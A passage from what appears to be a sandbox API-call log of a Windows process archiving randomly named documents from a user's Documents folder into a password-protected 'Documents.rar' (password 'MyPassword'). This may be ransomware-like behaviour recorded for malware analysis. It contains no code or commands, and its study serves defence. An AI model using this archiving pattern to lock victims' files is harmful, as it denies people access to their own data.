lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.142] GetTickCount () returned 0xa67909 [0069.142] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.142] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.142] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.142] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.142] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="zbK0RkNWW_QYl4NDka.xlsx") returned 23 [0069.142] SetWindowTextW (hWnd=0x10280, lpString="ZHKgPcRuClqfpQx70d.xlsx") returned 1 [0069.142] GetTickCount () returned 0xa67909 [0069.142] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.142] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.143] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0069.143] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.143] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x2df)) [0069.143] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.143] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14448322105) returned 1 [0069.143] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x78e9, lpOverlapped=0x0) returned 1 [0069.143] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a7929, nNumberOfBytesToRead=0xf8717, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a7929*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.144] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.144] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.144] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b90, Size=0x48) returned 0x39db40 [0069.144] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.144] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.144] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b90, Size=0x48) returned 0x39daf0 [0069.144] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.144] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.144] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.144] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.144] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65bc0 | out: hHeap=0x2e0000) returned 1 [0069.144] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b90 | out: hHeap=0x2e0000) returned 1 [0069.144] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b60, Size=0x48) returned 0x39db40 [0069.144] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3fd0 [0069.144] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.144] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.144] GetTickCount () returned 0xa67909 [0069.144] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14448478588) returned 1 [0069.144] GetTickCount () returned 0xa67909 [0069.144] GetTickCount () returned 0xa67909 [0069.144] GetTickCount () returned 0xa67909 [0069.144] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.144] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.145] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.145] ResetEvent (hEvent=0x1a4) returned 1 [0069.145] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.150] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.150] ResetEvent (hEvent=0x1a4) returned 1 [0069.150] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.151] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.151] GetTickCount () returned 0xa67909 [0069.152] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14449192181) returned 1 [0069.152] GetTickCount () returned 0xa67909 [0069.152] GetTickCount () returned 0xa67909 [0069.152] GetTickCount () returned 0xa67909 [0069.152] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.152] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.152] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.152] ResetEvent (hEvent=0x190) returned 1 [0069.152] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.152] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.152] ResetEvent (hEvent=0x190) returned 1 [0069.152] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.152] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0069.152] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.152] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.153] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x458e7d [0069.153] SetFilePointer (in: hFile=0x198, lDistanceToMove=107, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x458ee8 [0069.153] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.153] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.153] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.153] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.153] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x7930, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x7930, lpOverlapped=0x0) returned 1 [0069.153] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.153] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.154] SetFilePointer (in: hFile=0x198, lDistanceToMove=4558461, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x458e7d [0069.154] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x458e7d [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.154] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b90, Size=0x48) returned 0x39daf0 [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.154] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b90, Size=0x48) returned 0x39db40 [0069.154] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.154] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.154] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65bc0 | out: hHeap=0x2e0000) returned 1 [0069.154] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65b90 | out: hHeap=0x2e0000) returned 1 [0069.154] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b60, Size=0x48) returned 0x39daf0 [0069.154] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3fd0 [0069.154] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x6b, lpOverlapped=0x0) returned 1 [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b60 [0069.154] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6b) returned 0x3b4c810 [0069.154] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.154] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.154] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x460818 [0069.154] CloseHandle (hObject=0x1b0) returned 1 [0069.154] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.154] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.154] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.154] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.154] FindFirstFileW (in: lpFileName="zqdJ P9hDbwBTPl.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.154] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.154] CreateFileW (lpFileName="zqdJ P9hDbwBTPl.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\zqdj p9hdbwbtpl.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.154] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.155] GetTickCount () returned 0xa67918 [0069.155] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.155] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.155] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.155] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.155] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="ZHKgPcRuClqfpQx70d.xlsx") returned 23 [0069.155] SetWindowTextW (hWnd=0x10280, lpString="zqdJ P9hDbwBTPl.pptx") returned 1 [0069.155] GetTickCount () returned 0xa67918 [0069.155] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.155] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.155] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0069.155] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.155] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x2ef)) [0069.155] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0069.155] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14449577172) returned 1 [0069.155] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x3be8, lpOverlapped=0x0) returned 1 [0069.156] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a3c28, nNumberOfBytesToRead=0xfc418, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a3c28*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0069.156] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.156] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.156] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65bc0, Size=0x48) returned 0x39db40 [0069.156] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.156] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.156] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65bc0, Size=0x48) returned 0x39daf0 [0069.156] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.156] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.156] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.156] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.156] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ce0 | out: hHeap=0x2e0000) returned 1 [0069.156] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65bc0 | out: hHeap=0x2e0000) returned 1 [0069.156] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b90, Size=0x48) returned 0x39db40 [0069.156] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3fd0 [0069.156] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.156] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.157] GetTickCount () returned 0xa67918 [0069.157] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14449737180) returned 1 [0069.157] GetTickCount () returned 0xa67918 [0069.157] GetTickCount () returned 0xa67918 [0069.157] GetTickCount () returned 0xa67918 [0069.157] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.157] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.157] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.157] ResetEvent (hEvent=0x1a4) returned 1 [0069.157] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.158] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.158] ResetEvent (hEvent=0x1a4) returned 1 [0069.158] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.159] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0069.159] GetTickCount () returned 0xa67918 [0069.159] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14449934204) returned 1 [0069.159] GetTickCount () returned 0xa67918 [0069.159] GetTickCount () returned 0xa67918 [0069.159] GetTickCount () returned 0xa67918 [0069.159] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.159] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0069.159] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.159] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.159] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.159] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x460818 [0069.159] SetFilePointer (in: hFile=0x198, lDistanceToMove=104, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x460880 [0069.159] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0069.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.159] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0069.159] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0069.159] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0069.160] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x3c10, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x3c10, lpOverlapped=0x0) returned 1 [0069.160] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0069.160] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.160] SetFilePointer (in: hFile=0x198, lDistanceToMove=4589592, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x460818 [0069.160] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x460818 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.160] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65bc0, Size=0x48) returned 0x39daf0 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.160] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65bc0, Size=0x48) returned 0x39db40 [0069.160] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0069.160] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65bc0 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65ce0 [0069.160] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65ce0 | out: hHeap=0x2e0000) returned 1 [0069.160] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65bc0 | out: hHeap=0x2e0000) returned 1 [0069.160] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65b90, Size=0x48) returned 0x39daf0 [0069.160] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3fd0 [0069.160] WriteFile (in: hFile=0x198, lpBuffer=0x3a3fd3*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3fd3*, lpNumberOfBytesWritten=0x1c82c0*=0x68, lpOverlapped=0x0) returned 1 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65b90 [0069.160] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x68) returned 0x3b64e50 [0069.160] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0069.160] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3fd0 | out: hHeap=0x2e0000) returned 1 [0069.160] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x464490 [0069.160] CloseHandle (hObject=0x1b0) returned 1 [0069.160] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0069.160] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.160] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.160] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.160] FindFirstFileW (in: lpFileName="Zrs5Ud.odt", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0069.161] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0069.161] CreateFileW (lpFileName="Zrs5Ud.odt" (normalized: "c:\\users\\whuoxysd\\documents\\zrs5ud.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0069.161] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.161] GetTickCount () returned 0xa67918 [0069.161] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0069.161] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0069.161] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.161] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0069.161] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="zqdJ P9hDbwBTPl.pptx") returned 20 [0069.161] SetWindowTextW (hWnd=0x10280, lpString="Zrs5Ud.odt") returned 1 [0069.161] GetTickCount () returned 0xa67918 [0069.161] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0069.161] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0069.161] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0069.162] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0069.162] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x2ef)) [0069.162] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, 